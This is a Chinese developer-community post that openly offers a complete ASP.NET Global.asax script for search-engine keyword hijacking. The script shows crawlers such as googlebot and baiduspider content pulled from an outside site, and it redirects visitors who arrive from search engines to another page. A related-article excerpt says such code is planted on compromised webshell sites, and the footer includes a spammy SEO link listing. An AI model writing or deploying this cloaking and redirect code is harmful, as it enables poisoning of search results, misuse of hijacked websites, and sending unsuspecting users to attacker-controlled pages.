开发者社区> 芝麻软件> 正文

搜索引擎关键词劫持之.net篇

简介: 摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。
+关注继续查看

摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。 %@A...

蛋疼写的,有需要的就拿去,注意要保存为Global.asax。
重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如

<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>

来指明是UTF-8编码,以避免乱码问题。

            <%@ Application Language="C#" %> 
            <script runat="server"> 
             
            void Application_Start(object sender, EventArgs e) 
            { 
            //在应用程序启动时运行的代码 
            } 
            void Application_End(object sender, EventArgs e) 
            { 
            //在应用程序关闭时运行的代码 
            } 
             
            void Application_Error(object sender, EventArgs e) 
            { 
            //在出现未处理的错误时运行的代码 
            } 
             
            void Session_Start(object sender, EventArgs e) 
            { 
            //在新会话启动时运行的代码 
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 
            string data_url = "http://www.yunsec.net";//要展示给搜索引擎的页面 
            string redirect_url="http://www.yunsec.net/1.asp";//从搜索引擎点击进来跳转的页面 
            if (is_spider()) 
            { 
            HttpContext.Current.Response.Clear(); 
            HttpContext.Current.Response.BinaryWrite(get_data(data_url)); 
            HttpContext.Current.Response.End(); 
            } 
            else if(is_from_search()) 
            { 
            HttpContext.Current.Response.Redirect(redirect_url, true); 
            } 
            else 
            { 
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); 
            } 
            } 
             
            void Session_End(object sender, EventArgs e) 
            { 
            //在会话结束时运行的代码。 
            // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为 
            // InProc 时,才会引发 Session_End 事件。如果会话模式 
            //设置为 StateServer 或 SQLServer,则不会引发该事件。 
             
            } 
            public bool is_spider() 
            { 
            string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";//这里添加搜索引擎user-agent标识 
            string[] spider_flagspider_flag_arr = spider_flag.Split('|'); 
            string user_agent=HttpContext.Current.Request.UserAgent; 
            foreach (string tmp_flag in spider_flag_arr) 
            { 
            if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; } 
            } 
            return false; 
            } 
            public bool is_from_search() 
            { 
            if (HttpContext.Current.Request.UrlReferrer==null) 
            { 
            return false; 
            } 
            else 
            { 
            string page_ref = HttpContext.Current.Request.UrlReferrer.ToString(); 
            string search_flag = "google|baidu|sogou|yahoo|soso"; //这里添加搜索引擎url标识 
            string[] search_flagsearch_flag_arr = search_flag.Split('|'); 
            foreach (string tmp_flag in search_flag_arr) 
            { 
            if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; } 
            } 
            return false; 
            } 
            } 
            public byte[] get_data(string url) 
            { 
            System.Net.WebClient wc = new System.Net.WebClient(); 
            byte[] data = wc.DownloadData(url); 
            return data; 
            } 
             
            </script>

 

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
搜索引擎关键词劫持之asp篇
摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽SEO代码一: 0 then GetBot="google" end if i...
2020 0
.Net生成站点sitemap供百度抓取的类和使用
我对sitemap介绍: 百度的sitemap说明地址:http://zhanzhang.baidu.com/wiki/93#01 SiteMap作用:利于百度搜索 举例说明: http://award.
1194 0
关键词优化网站排名www.20200824.com
关键词优化网站排名https://www.20200824.com/category-2.html
95 0
艾伟_转载:VS 2010 和 .NET 4.0 系列之《多定向支持》篇
本系列文章导航 VS 2010 和 .NET 4.0 系列之《ASP.NET 4 中的SEO改进 》篇 VS 2010 和 .NET 4.0 系列之《干净的Web.Config文件 》篇 VS 2010 和 .
1149 0
识别真假搜索引擎(搜索蜘蛛)方法(baidu,google,Msn,sogou,soso等)
http://www.useragentstring.com/pages/useragentstring.php   今天分析研究了两个网站的 Apache 日志,分析日志虽然很无聊,但却是很有意义的事情,比如跟踪 SPAM 的 User Agent。
3151 0
+关注
芝麻软件
编程语言,框架相关专家
文章
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载